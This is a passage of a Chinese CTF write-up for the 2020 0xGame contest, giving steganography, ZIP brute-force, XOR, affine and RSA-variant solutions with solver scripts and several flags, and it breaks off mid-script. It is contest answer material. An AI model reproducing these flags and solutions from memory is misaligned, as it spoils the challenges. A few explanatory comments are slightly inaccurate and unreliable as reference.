2020 0xGame WriteUp

前言

主办方：南京邮电大学

Misc

flip（波形图 + 摩斯密码 + BinWalk + 倒序）

打开压缩包后得到一个 ZIP 和 MP3

ZIP 需要密码，使用 Audacity 打开 MP3

根据波形长短猜测是摩斯密码

1
....- ----- ----- ---.. ..... -.... -.... ----. ----. ...-- ----- ----- ... .. -.. .-. --- .-- ... ... .- .--.

解密得到

1
400856699300sidrowssap

翻译了一下题目题目名称有翻转的意思，把摩斯密码倒序发现:

1
passwordis003996658004

003996658004 即为压缩包密码

解压后还是压缩包

使用 Kali 的 BinWalk 分离

查看 password.txt 文件发现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
?gnorw eb ot smees gnihtemos tub ,yranib ni elif etirw ot tnaw I

10100110

11010110

00101100

11000010

11111010

01100110

00001100

11111010

10100110

11000110

11001100

10010110

00001110

11111010

10000010

00000100

11001110

10010110

00000100

00100110

01001110

11110110

11101110

11001110

11001110

10000110

00001110

00000100

10100110

00010110

00101110

00000100

00110100

10101110

11110110

10011110

00000100

01001110

11110110

01100110

00000100

10100110

11010110

10000110

11000110

00000100

01100110

11110110

00000100

10100110

11000110

10100110

10010110

00001110

00000100

10000110

00000100

00101110

11001110

10101110

01010110

00000100

11001110

10010110

00000100

10110110

10100110

00110110

01000110

11110110

01001110

00001110

00000100

11001110

10010110

00010110

00101110

00000100

00101110

10000110

00010110

00101110

00000100

01001110

10100110

01101110

10100110

00110110

11000110

00000100

11110110

11001110

00000100

10100110

01001110

10000110

00000100

10101110

11110110

10011010

明显的倒序排列

将所有内容倒序后得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
01011001

01101111

01110101

00100000

01100001

01110010

01100101

00100000

01110011

01101111

00100000

01100011

01101100

01100101

01110110

01100101

01110010

00100000

01110100

01101000

01100001

01110100

00100000

01110100

01101000

01101001

01110011

00100000

01110000

01110010

01101111

01100010

01101100

01100101

01101101

00100000

01101001

01110011

00100000

01101010

01110101

01110011

01110100

00100000

01100001

00100000

01110000

01101001

01100101

01100011

01100101

00100000

01101111

01100110

00100000

01100011

01100001

01101011

01100101

00100000

01100110

01101111

01110010

00100000

01111001

01101111

01110101

00101100

00100000

01110100

01101000

01100101

00100000

01110000

01100001

01110011

01110011

01110111

01101111

01110010

01100100

00100000

01101001

01110011

00100000

01000001

01011111

01110000

01101001

00110011

01100011

01100101

01011111

00110000

01100110

01011111

01000011

00110100

01101011

01100101

I want to write file in binary, but something seems to be wrong?

二进制转十六进制再转 ASCII 码得到

1
You are so clever that this problem is just a piece of cake for you, the password is A_pi3ce_0f_C4ke

使用 A_pi3ce_0f_C4ke 密码提取出压缩包中的 galf_si_siht.png

提示我们打不开文件

使用 010editor 打开该文件

发现文件头不是 PNG 格式

拉到最底下发现还是倒序 黄豆流汗脸.jpg

将整个文件的十六进制倒序后保存为 PNG 图片打开发现二维码，使用二维码扫描工具得到

1
http://am473ur.com/0xgame/flip/bd055250d3906d1f791d8e83b4396893.php

访问拿到 flag（估计不在了）

pacp（SQL 盲注流量 + PNG 宽高）

打开流量包发现是盲注流量

过滤 POST 请求发现有上传一个文件

1
http.request.method == POST

追踪 HTTP 流复制原始数据

用 WinHex 复制成新文件解压缩文件是一张图片，打开没内容，检查 CRC 发现宽高被更改过

使用随波逐流梭哈出原图

differentPic（图像合成）

解压缩文件是两个一模一样的图片

使用 StegSolve 打开选择 Image Combiner 模式（图像合成）

发现可疑内容

保存后再打开切换通道发现是二维码

扫码拿到 flag

extract（BinWalk + Stegpy）

打开压缩包后发现图片

使用 BinWalk 检查发现有隐藏文件

提取出二维码扫描给出提示工具 Stegpy

使用 Stegpy 成功拿到 flag

easyMisc（拨号+ Stegpy）

解压缩出三个文件

打开音频文件听着像是拨号声音，疑似拨号隐写

把频率设置为低频 697、高频 1633

得到下图

对照拨号隐写表格解密出：2821876761

使用 2821876761 解压得到 flag 图片

再次使用 Stegpy 得到 flag

lowerBase64（Base64 解码）

Base64字符串中的字母被随机转换了大小写

正常的Base64解码器要求严格的大小写，所以我们需要找到正确的大小写组合

Base64 编码原理

1
2
3
# Base64 编码过程：
原文: 3 字节 = 24 bits → 分成 4 组，每组 6 bits → 每组映射为 1 个 Base64 字符
# 所以解码时需要以 4 个 Base64 字符为一组进行处理

由于我们不知道哪些字母应该是大写、哪些应该是小写，所以需要暴力枚举所有可能的大小写组合

1
2
3
4
5
6
7
8
9
10
11
12
13
for i in range(0, len(c), 4):  # 以 4 个字符为一组处理
    pos = []
    chunk = c[i:i+4]  # 取出 4 个字符的块
    
    # 为每个字符创建可能的大小写组合
    for char in chunk:
        if char.isalpha():
            pos.append([char.lower(), char.upper()])  # 字母有两种可能
        else:
            pos.append([char])  # 非字母只有一种可能
    
    # 生成所有大小写组合
    cases = ["".join(k) for k in product(*pos)]

举例说明：

如果当前 chunk 是 "AbC1"，那么：

  • 'A' → ['a', 'A']
  • 'b' → ['b', 'B']
  • 'C' → ['c', 'C']
  • '1' → ['1']

通过 product(*pos) 会生成："abc1", "abC1", "aBc1", "aBC1", "Abc1", "AbC1", "ABc1", "ABC1" 共 8 种组合

最后验证结果

1
2
3
4
5
6
7
8
9
10
for case in cases:
    try:
        decoded = b64decode(case)  # 尝试解码
        # 检查解码后的字符是否都在有效字符表中
        if all(chr(byte) in table for byte in decoded):
            real_data += case
            flag += decoded
            break  # 找到有效组合就跳出
    except:
        continue  # 解码失败就尝试下一个组合

threeThousand（ZIP 爆破）

第一次爆出密码是 33

打开发现还有压缩包，且都是加密

写脚本爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import zipfile
import os
from itertools import product


def try_password(zip_file, password, target_dir):
    try:
        with zipfile.ZipFile(zip_file, 'r') as zip_ref:
            zip_ref.extractall(target_dir, pwd=password.encode('utf-8'))
        print(f"成功解压 {zip_file}，密码: {password}")
        return True
    except Exception as e:
        return False


def main():
    # 获取脚本所在目录
    script_dir = os.path.dirname(os.path.abspath(__file__))

    starting_zip = '2999.zip'
    # 目标解压目录也在同一目录下
    target_directory = os.path.join(script_dir, 'extracted_files')

    # 构建完整的文件路径
    current_zip = os.path.join(script_dir, starting_zip)

    # 确保目标目录存在
    if not os.path.exists(target_directory):
        os.makedirs(target_directory)
        print(f"创建解压目录: {target_directory}")

    # 生成所有可能的两位数密码组合
    passwords = [''.join(p) for p in product('0123456789', repeat=2)]
    print(f"生成的密码列表: {passwords}")
    print(f"脚本目录: {script_dir}")
    print(f"当前处理的文件: {current_zip}")
    print(f"目标解压目录: {target_directory}")

    while True:
        # 检查当前zip文件是否存在
        if not os.path.exists(current_zip):
            print(f'文件 {current_zip} 不存在，停止解压缩。')
            break

        print(f"正在尝试解压: {os.path.basename(current_zip)}")
        password_found = False

        for password in passwords:
            if try_password(current_zip, password, target_directory):
                print(f'成功使用密码 {password} 解压文件 {os.path.basename(current_zip)}！')
                password_found = True
                break

        if not password_found:
            print(f'无法为 {os.path.basename(current_zip)} 找到密码，停止解压缩。')
            break

        # 获取当前文件名（不含路径）
        current_filename = os.path.basename(current_zip)
        # 提取数字并减1
        next_zip_number = int(current_filename.split('.')[0]) - 1
        # 下一个文件应该在目标目录中
        current_zip = os.path.join(target_directory, f'{next_zip_number}.zip')

        print(f"下一个要解压的文件: {os.path.basename(current_zip)}")


if __name__ == "__main__":
    main()

签到题（签到）

根据题目描述，在 Rules 页面的比赛须知发现了 flag

1
0xGame{Welc0m_to_0xGame2020}

easyBase（Base 编码）

Base64，Base16 解密即可

QR_repair

用一些在线网站分离出其中的两张图片，最后补上定位符即可

Crypto

Calendar（日期网格坐标密码）

题目给出了一张图片

以及一段字符

1
SAT1,THU1,MON3,MON2,WED3,SUN2,THU1,SUN4,FRI3,THU1,MON4,MON4,FRI4,THU3,SUN4,SUN2,TUE4,THU1,FRI1,MON3,MON2

观察最后的数字只有 1~4，推测这就是行号，而字符就是对应的列

将得到的数字按照字母表的顺序转换最后得到

1
0xGame{calendarpasswordtable}

easyXor（异或加密）

连续两次异或同一个数结果不变

1
2
3
4
5
6
7
8
cipher = [72, 63, 38, 12, 8, 30, 30, 6, 82, 4, 84, 88, 92, 7, 79, 29, 8, 90, 85, 26, 25, 87, 80, 10, 20, 20, 9, 4, 80, 73, 31, 5, 82, 0, 1, 92, 0, 0, 94, 81, 4, 85, 27, 35]
flag = ""
cipher += [ord("^")]
for i in range(len(cipher)-1):
    flag = chr(cipher[len(cipher) - i - 2] ^ cipher[len(cipher) - i - 1]) + flag
    cipher[len(cipher) - i - 2] = ord(flag[0])
print(flag)
# 0xGame{ec15a9eb-08b7-4c39-904d-27eed888f73f}

supperAffine（仿射加密变种）

解题技巧先放前面：

  1. 识别密码体制： 代码中出现了 affine(x, a, b) 和 GCD(MOD, ...)，立即锁定这是仿射密码及其变种
  2. 识别模数： 立即进行模数分解，MOD = 62 = 2 * 31
  3. **代数化简：**看到 f3(f2(f1(x))) 这种结构，立即意识到这是可以合并的

给出源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from Crypto.Util.number import *
from string import ascii_letters, digits
from random import randint
from secret import flag

assert flag.startswith("0xGame{") and flag.endswith("}")
table = ascii_letters+digits
MOD = len(table)

def affine(x, a, b): return a*x+b

def genKey():
    a = [randint(1, 64) for _ in range(3)]
    b = [randint(1, 64) for _ in range(3)]
    while GCD(MOD, a[0]*a[1]*a[2]) != 1:
        a = [randint(1, 64) for _ in range(3)]
    return a, b


cipher = ""
A, B = genKey()
for i in flag:
    if i not in table:
        cipher += i
    else:
        cipher += table[affine(affine(affine(table.find(i),A[0], B[0]), A[1], B[1]), A[2], B[2]) % MOD]

print("cipher =", cipher)
# cipher = t6b7Tn{2GByBZBB-aan2-JRWn-GnZB-Jyf7a722ffnZ}

equationSet（提公因数 p）

解题技巧先放前面：

  1. 符号化：所有给出的数值用数学符号表示出来，并建立它们之间的关系
  2. 寻找公因数：如果给出的两个大数 A 和 B 都是由相同的素数因子构成的，那么 GCD(A, B) 往往是解密的关键
  3. 确定解题路径：一旦 p 被分解出来，接下来就要想方设法得到 q 和 r 的信息

题目给出代码

1
2
3
4
5
6
7
8
9
10
11
12
13
from Crypto.Util.number import *
from secret import flag

e = 65537
m = bytes_to_long(flag.encode())
p, q, r = getPrime(512), getPrime(512), getPrime(512)

n = p*q*r
c = pow(m, e, n)
print(c)
print(n)
print(p+q+r)
print(p*q+p*r)

转换成数学公式

1
2
3
4
5
n = p * q * r
t = p * q + p * r = p(q + r)
phi(n) = (p - 1)(q - 1)(r - 1)

gcd(pqr, p(q + r)) = p * gcd(qr, q + r)

我们可以清楚地看到，p 是 n 和 t 的公共因子

那 GCD(n, t) 会正好是 p 吗？会不会包含其他因子？

由于 q 和 r 都是生成的 512 位随机大素数，它们互质，且它们的和 q+r 极大概率与它们的积 qr 互质

因此 GCD(qr, q+r) = 1

结论：直接计算 GCD(n, t) 就能提取出素数 p

观察公因数 是 Crypto 选手的直觉。看到 n 和 t 有明显的公共结构（都含有 p），第一时间想到的就是 GCD

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from Crypto.Util.number import *

c = 216719040256186298397028655750064798850... 
n = 894056034566447301955142597300391580123...
t = 157435908314881832180551915807491465031...

p = GCD(n, t)

phi = (p - 1) * ((n - t) // p + 1)

d = inverse(65537, phi)

m = pow(c, d, n)

print(long_to_bytes(m))

Fibonacci（爆破斐波那契数列周期）

解题技巧先放前面：

  1. 识别计算陷阱与核心矛盾：看到一个天文数字立即判定这是计算陷阱
  2. **建立 Pisano 周期的知识框架：**了解周期的基本性质
  3. **掌握求和公式的转化：**一旦找到周期和周期和，必须将求和公式转换为可计算的代数形式
  4. **大数运算：**CTF 中处理超大数论运算，首选 gmpy2 库

题目代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from Crypto.Util.number import *
from gmpy2 import next_prime
from functools import reduce
from secret import flag


def F(x):
    if x == 1 or x == 2:
        return 1
    return F(x-1)+F(x-2)


n = reduce(lambda a, b: a*b, [getPrime(4) for _ in range(4)])
r = getRandomNBitInteger(67)
S = sum([F(i) % n for i in range(r)])
p = next_prime(S**16)
q = getPrime(p.bit_length())
m = bytes_to_long(flag)
c = pow(m, 65537, p*q)

print("r =", r)
print("n =", n)
print("c =", c)
print("N =", p*q)

现在分析代码

定义了一个斐波那契数列

1
2
3
4
5
def F(x):
    if x == 1 or x == 2:
        return 1
    # 递归定义，计算量巨大，但由于模运算，实际计算只需在一个周期内完成
    return F(x-1) + F(x-2)

斐波那契数列是一个递推数列，它的核心规则是：从第三项起，数列中的每一项都等于前两项之和
$$
\begin{aligned}
&F_n\ =\ F_{n-1}\ +\ F_{n-2}\ (n \geq 3)
\end{aligned}
$$
在 CTF 和数论领域，斐波那契数列的模运算性质至关重要：

Pisano 周期

  • 定义： 斐波那契数列对任何正整数 n 取模后，都会变成一个循环数列。这个循环的长度就被称为 Pisano 周期，记作
    $$
    \begin{aligned}
    &\pi(n)
    \end{aligned}
    $$

小模数 n 的生成

1
2
3
4
5
# 2. 小模数 n 的生成
# 生成 4 个 4-bit 的小素数（p_i <= 15）
# n 是这四个小素数的乘积
# n 的大小约为 16 bits (n <= 15^4 = 50625)
n = reduce(lambda a, b: a*b, [getPrime(4) for _ in range(4)])

巨大的求和上限 r

1
2
3
4
# 3. 巨大的求和上限 r
# r 是一个 67-bit 的大整数 (r 约等于 2^67)
# 注意：r 是计算 S 的唯一输入，且 r 已经泄露给我们
r = getRandomNBitInteger(67)

S 的计算

1
2
3
# 4. 关键泄露信息 S 的计算 (S是 p 的基础)
# S 是前 r 个斐波那契数在模 n 下的和：S = Sum_{i=0}^{r-1} (F(i) mod n)
S = sum([F(i) % n for i in range(r)])

生成巨大的素数 p

1
2
3
4
5
# 5. 生成巨大的素数 p
# p 是 S^16 之后的第一个素数
# S 的大小约为 r * n (约 2^67 * 2^16 = 2^83)
# p 的大小约为 (2^83)^16 = 2^1328 bits
p = next_prime(S**16)

生成素数 q

1
2
3
# 6. 生成素数 q
# q 是一个与 p 相同长度的素数 (q 约 1328 bits)
q = getPrime(p.bit_length())

首先要求出 p -> S -> r 这个顺序

先看 S 的计算方式
$$
\begin{aligned}
&S\ =\ \sum_{i-0}^{r-1}{F((i)\ \ (mod\ n))}
\end{aligned}
$$
求和次数 r 太大，但是，求和时使用的模数 n 却非常小（不到 65536）

这是整个解题的关键步骤。我们不能循环 r 次，但 n 很小，所以我们要找规律

Pisano 周期（重复的舞蹈）

当斐波那契数列对一个小数字 n 取模时，它的结果会不断重复，形成一个循环。这个循环的长度就是 Pisano 周期 T

  • 斐波那契数列 mod n 就像一个舞者在一个很小的圆形舞台（模数 n）上跳舞。它跳了一段时间后，姿势和位置一定会回到起点 (1, 1)
  • 周期 T 就是这支舞完整跳完一次所需要的步数

通过脚本实现

1
2
3
4
5
6
a, b = 1, 1
while True:
    a, b = b, (a + b) % n # 找到下一步的舞步
    if a == 1 and b == 1: # 检查是否回到起点
        T = period = len(fibs) # 记录步数 T
        break

因为 n 很小，这个循环很快就能结束，我们得到了周期 T 和跳一圈舞的总得分 Sum_{cycle}

现在我们有了舞蹈的规律，就可以计算 r 步的总得分 S：

  • 完整周期数 k： k = r // T （看看 r 步能跳多少次完整的舞）
  • 剩余步数 rem： rem = r % T （最后多出来没跳完的几步）

$$
\begin{aligned}
&S\ =\ (完整次数\ k\ *\ 一圈的总得分\ Sum_{cycle})\ +\ (剩余几步的得分\ Sum_{cycle})
\end{aligned}
$$

这一步就将天文数字 r 转换成了一个可计算的公式，得到了我们想要的秘密蓝图 S

脚本代码 作用 简单理解
p = next_prime(S ** 16) 计算第一个秘密零件 p。 严格按照题目的公式，找到 S^{16} 之后的第一个素数
q = N // p 计算第二个秘密零件 q。 N 是 p 和 q 的乘积，所以 q = N / p
phi = (p - 1) * (q - 1) 计算制造蓝图 \phi(N)
d = inverse(65537, phi) 计算万能钥匙 d。 inverse 是求一个数在 \pmod{phi} 世界里的“倒数”
m = pow(c, d, N) 解密！ 使用万能钥匙 d 打开保险箱 N 中的密文 c
long_to_bytes(m) 将解密得到的数字 m 转换回 Flag 文本

完整代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from Crypto.Util.number import *
import gmpy2

# ==========================================
# 1. 在此填入题目给出的参数 (从你的题目输出中复制)
# ==========================================
r = 6799657976717333  # 题目给出的 r (67-bit integer)
n = 34969  # 题目给出的 n (小整数，约 16-bit)
c = 182306974283951620352146026941583994848813143690343545292100780435573376889099600153592983212384957591086328477660614034391593564733860826251499298995355977799109267846836211477797049861348446512705981010295182077777939692478140339301301250656211795668782349225298841295102744088295274299888068087536135862146848855194234931032258224223054120694400807261402442809227521150204434199401928373883267697928229945582110688115412960868921538084717338343966490113059627708880297277412143561561837953806960309840302665509500602335832680764801782789278492075478763944213005349707521471401389317139473794212210077629296628421658105048387207038261321205  # 题目给出的密文 c
N = 1885611999537620305525377668936000019248252379006235038175895811710218489750248037027959751027236326639084060685909621893589756343903429224938045802850975926055076789137326688384533999739909152386986919824268841500802585809839133132715892685629871188263336038221503698167753853207939360629026179572549702198037779413041272313618794196167670066872427987596564652249864272782397242041014605617282098654595635031878004275878165728021995744626212185694275937448739806439006047047376363093018124169182873374456718929377731991273039952515054850718253257895996999907977029169396644305213162133388169761391593110121229266422245167572929912914529689341  # 题目给出的公钥 N


# ==========================================
# 2. 核心函数：寻找 Pisano 周期并计算周期和
#    对应思路 2 的优化版：直接在 Python 中实现
# ==========================================
def get_pisano_info(n):
    # 斐波那契数列缓存，用于计算余数部分的和
    fibs = [1, 1]

    # 寻找周期：暴力迭代直到再次出现 "1, 1"
    # 因为 n 很小，这个循环会很快结束
    a, b = 1, 1
    period = 0

    while True:
        # 下一项 F(i) = F(i-1) + F(i-2)
        a, b = b, (a + b) % n
        fibs.append(b)

        # 检查是否回到了起点 (1, 1)
        # 注意：现在的 b 是新的一项，a 是上一项
        if a == 1 and b == 1:
            # 找到了循环节！
            # 此时 fibs 最后两个是 1, 1，属于下一个周期的开始，要去掉
            fibs.pop()
            fibs.pop()
            period = len(fibs)
            break

    period_sum = sum(fibs)
    return period, period_sum, fibs


print(f"[*] Analyzing Pisano period for n = {n}...")
period, period_sum, fibs = get_pisano_info(n)
print(f"[+] Period found: T = {period}")
print(f"[+] Sum of one period: {period_sum}")

# ==========================================
# 3. 计算 S
#    利用公式：S = (完整周期的次数 * 周期和) + (剩余部分的和)
# ==========================================
k = r // period  # 完整的周期数
rem = r % period  # 剩余的项数

# 剩余部分的和 = 前 rem 项之和
rem_sum = sum(fibs[:rem])

# 计算最终的 S (注意题目中 S 是模 n 后求和，不需要再对 S 取模)
S = k * period_sum + rem_sum
print(f"[+] Calculated S = {S}")

# ==========================================
# 4. 恢复 RSA 密钥 p, q
#    题目逻辑：p = next_prime(S**16)
# ==========================================
# 注意 S**16 很大，需要用 gmpy2 处理大数运算
base_p = gmpy2.mpz(S) ** 16
p = int(gmpy2.next_prime(base_p))

# 验证 p 是否正确
if N % p == 0:
    print("[+] Successfully recovered p!")
    q = N // p
else:
    print("[-] Failed to recover p. Check parameters.")
    exit()

# ==========================================
# 5. 标准 RSA 解密
# ==========================================
e = 65537
phi = (p - 1) * (q - 1)
d = inverse(e, phi)

m = pow(c, d, N)
flag = long_to_bytes(m)

print("\n--------------------------------------------------")
print("Flag:", flag.decode())
print("--------------------------------------------------")

easyRSA（线性组合泄露 d 与 φ(n)）

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from Crypto.Util.number import *
from secret import flag

m = bytes_to_long(flag.encode())
e = 65537
p, q = getPrime(1024), getPrime(1024)
d = inverse(e, (p-1)*(q-1))
x = 11*d+7*(p-1)*(q-1)
c = pow(m, e, p*q)

print("n =", p*q)
print("c =", c)
print("x =", x)

# n = 15321211041844905603734344178124947500324300419514650914959277216026081094496518094622195813971694335738777589926626969243883848477814650916143749322154944235584863085124154540941941026813506509060939499627059712020664731558566028207969260861863294704292014958955493668692256998253634012942569080200336487172402729072437050952572508561453302097971258470685521456512378089846772560530301852104802168974905937732653119166440832834381675710869396094149006807933529429939569477709674581421481769103309376717894952118650888932952440197471338958967318775671821835706884032860123711415773758546392549257375305940969423099611
# c = 14896093236493033914781929755936872928003725648997746598164823180134348743474984136539422027221313199599273430548738399424773586673404519182726589878322104929749149555906399158136445184378100079558203687049497943904275695897824656260657349522646553949766831267321006314984113971129230701131171378457086851261467999754137290017989201512492586108768533159551545321805463224339252886492732021354821330371600069958523522302729848548167244423902572054475396534469987383265867036041513161170273368613864180696427386890714264902686976581317435011139081192227958859641684254938165261747405568369502852705979424383731908971282
# x = 265060901898485540806769085700708185460124724747068797929982044073895401490880169847709049380530156090772787935089173201664711759633269693627724735457902114209008145932150728406880988293457762401679305297063608204632708505031098047582175011825482347052645324085149631658741807382378778694666759557421043250548432429798543553950625554307402164142007388940921309688918410535907564996075660231557340541491155676279511654970843992008027830570227549010293790074386638365293013298327534604995316180405779571245069623638693068707267840181413082202552862853411080755107836252852929279422343700808788459217261282790226013328915

RSA 里，我们有：

  • p, q 两个大素数

  • n = p * q

  • φ(n) = (p-1)*(q-1)

  • 公钥指数 e = 65537（题目固定）

  • 私钥指数 d 满足 e * d ≡ 1 (mod φ(n))

这等价于存在一个整数 k，使得：

1
e * d = k * φ(n) + 1

即

1
d = (k * φ(n) + 1) / e

题目除了给 n 和密文 c，还给了

1
x = 11 * d + 7 * φ(n)

也就是说，x 是 d 和 φ(n) 的一个线性组合，系数分别是 11 和 7

将上面 d 的表达式代入 x

1
x = 11 * [ (kφ + 1)/e ] + 7φ

两边同时乘以 e，去掉分母

1
e * x = 11 * (kφ + 1) + 7eφ

展开

1
e * x = 11kφ + 11 + 7eφ

把常数项移到左边，含 φ 的项合并

1
e * x - 11 = (11k + 7e) φ

记 T = ex - 11，则

1
T = (11k + 7e) * φ

这是一个关键等式，T 是 φ 的整数倍，倍数 A = 11k + 7e 依赖于未知的 k

从 e * d = k φ + 1 得

1
k = (e * d - 1) / φ

因为 d < φ（实际上 d 是模 φ 下的逆元，通常比 φ 略小），所以

1
e * d - 1 < e * φ - 1  →  k < e

所以思路：

  • 计算 T = e * x - 11（已知 x 和 e）

  • 对每个可能的 k 从 0 到 e-1，计算 A = 11k + 7e

  • 如果 A 能整除 T，那么 φ = T // A 就是一个候选的欧拉函数值

  • 用这个 φ 去分解 n，因为 p + q = n - φ + 1，p * q = n，所以 p 和 q 是二次方程 X^2 - (p + q)X + n = 0 的两个根

  • 判断 p 和 q 是否为整数且满足 p * q == n，若是，则分解成功

已知

1
2
s = p + q
n = p × q

根据韦达定理，以 p 和 q 构造一个二次方程

1
2
(t-q)(t-p) = 0
           = t² - (p + q)t + qp

把已知条件带入得到

1
t² - s * t + n = 0

对于任意二次方程，判别式公式为

1
2
3
at² + bt + c = 0

Δ = b² - 4ac

代入得到

1
2
3
a = 1，b = -s，c = n

Δ = (-s)² - 4·1·n = s² - 4n

如果判别式是完全平方数，方程就有整数解

1
2
p = (s + √Δ)/2
q = (s - √Δ)/2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from Crypto.Util.number import *
from math import isqrt

n = ...   # 从题目获取
c = ...   # 密文
x = ...   # 泄露的数值

e = 65537

T = e * x - 11

for k in range(1, e):               # 枚举 k = 1 .. e-1
    A = 11 * k + 7 * e
    if T % A != 0:
        continue
    phi = T // A

    # 用 phi 恢复 p+q
    s = n - phi + 1         # p + q = n - φ + 1
    delta = s * s - 4 * n   # 如果判别式 Δ = s² - 4n 是一个完全平方数，那么两个根就是整数
    r = isqrt(delta)        # 取整平方根（向下取整）
    if r * r != delta:      # 检查 Δ 是否为完全平方数
        continue

    p = (s + r) // 2
    q = (s - r) // 2
    if p * q != n:
        continue

    # 成功分解，计算 d 并解密
    d = pow(e, -1, phi)
    m = pow(c, d, n)
    flag = long_to_bytes(m)
    print(flag)
    break

smallModulus（CRT）

1
2
3
module = getPrime(64)
self.send(("flag mod {} (in hex) : {}".format(
    hex(module)[2:], hex(m % module)[2:])).encode())

当用户选择 1 时，服务器会：

  • 随机生成一个 64 位（bit）的素数 p_i

  • 计算 r_i = m (mod p_i)

  • 将 p_i 和 r_i 以十六进制的形式返回给用户

  • 允许无限次循环查询

假设我们查询了 k 次，获得了 k 个不同的 64 位素数 p1, p2, ..., pk 以及对应的余数 r1, r2, ..., rk

我们可以写出如下的模同余方程组：

1
2
3
4
m ≡ r1 (mod p1)
m ≡ r2 (mod p2)
...
m ≡ rk (mod pk)

由于 pi 全都是不同的素数，因此它们之间必然两两互素（gcd(pi, pj) = 1）

根据中国剩余定理，上述方程组在模 M 的意义下有唯一解，其中

这意味着，只要 M > m，我们通过 CRT 恢复出来的唯一解 x (mod M) 就一定等于原本的明文 m

已知 m < 2^512。每个素数 p_i 是 64 位的，即 p_i ≈ 2^64

我们希望 M = ∏_{i=1}^{k} p_i > 2^512

根据对数的基本性质

1
log2(A * B) = log2(A) + log2(B)

应用到 M 上则有

这是因为题目说每个 pi 都是 64 位素数，也就是 2^64

1
2
3
4
5
log2(M) = log2(p1) + log2(p2) + …… + log2(pk)

        = 64 + 64 + …… 64k

        ≈ 64k
1
64k ≥ 512  => k ≥ 8

因此，我们只需要进行 8 次查询，收集 8 组模数和余数，就能完美恢复出 Flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
from pwn import *
import hashlib
import string
import re
from functools import reduce
from Crypto.Util.number import long_to_bytes, inverse

HOST = "127.0.0.1"
PORT = 10000

def solve_pow(r):
    """
    自动化求解 Proof of Work (SHA256 爆破)
    """
    try:
        # 接收 "sha256(XXXX+" 之后的部分，直到遇到 ')' 并丢弃该字符
        r.recvuntil(b"sha256(XXXX+")
        # 获取后缀（直到 ')' 之前的内容）
        suffix = r.recvuntil(b")", drop=True).decode()
        # 继续接收 "== " 之后的内容，即目标哈希值
        r.recvuntil(b"== ")
        target = r.recvline().strip().decode()

        log.info(f"收到 PoW 挑战: 后缀 = {suffix}, 目标哈希 = {target}")

        # 定义爆破所使用的字符集：大小写字母 + 数字
        alphabet = string.ascii_letters + string.digits
        # mbruteforce 会尝试所有长度为 4 的字符串组合，对每个前缀计算 sha256(prefix+suffix)，
        # 并与 target 比较，返回第一个匹配的字符串。
        prefix = util.iters.mbruteforce(
            lambda x: hashlib.sha256((x + suffix).encode()).hexdigest() == target,
            alphabet,
            4,          # 长度固定为 4
            'exact'     # 表示精确长度，而不是 "最多 4"
        )

        log.success(f"成功爆破出 XXXX: {prefix}")
        # 将正确的前缀发送给服务器
        r.sendlineafter(b"Give me XXXX: ", prefix.encode())
        return True
    except Exception as e:
        log.error(f"PoW 求解失败: {e}")
        return False


def chinese_remainder_theorem(remainders, moduli):
    """
    标准中国剩余定理 (CRT) 实现
    输入：
        remainders : 列表，每个元素为余数 r_i
        moduli     : 列表，每个元素为模数 p_i (两两互素)
    输出：
        满足 x ≡ r_i (mod p_i) 的最小非负整数解 x

    算法步骤：
        1. 计算所有模数的乘积 M = ∏ p_i
        2. 对于每个 i：
           - 计算 M_i = M // p_i
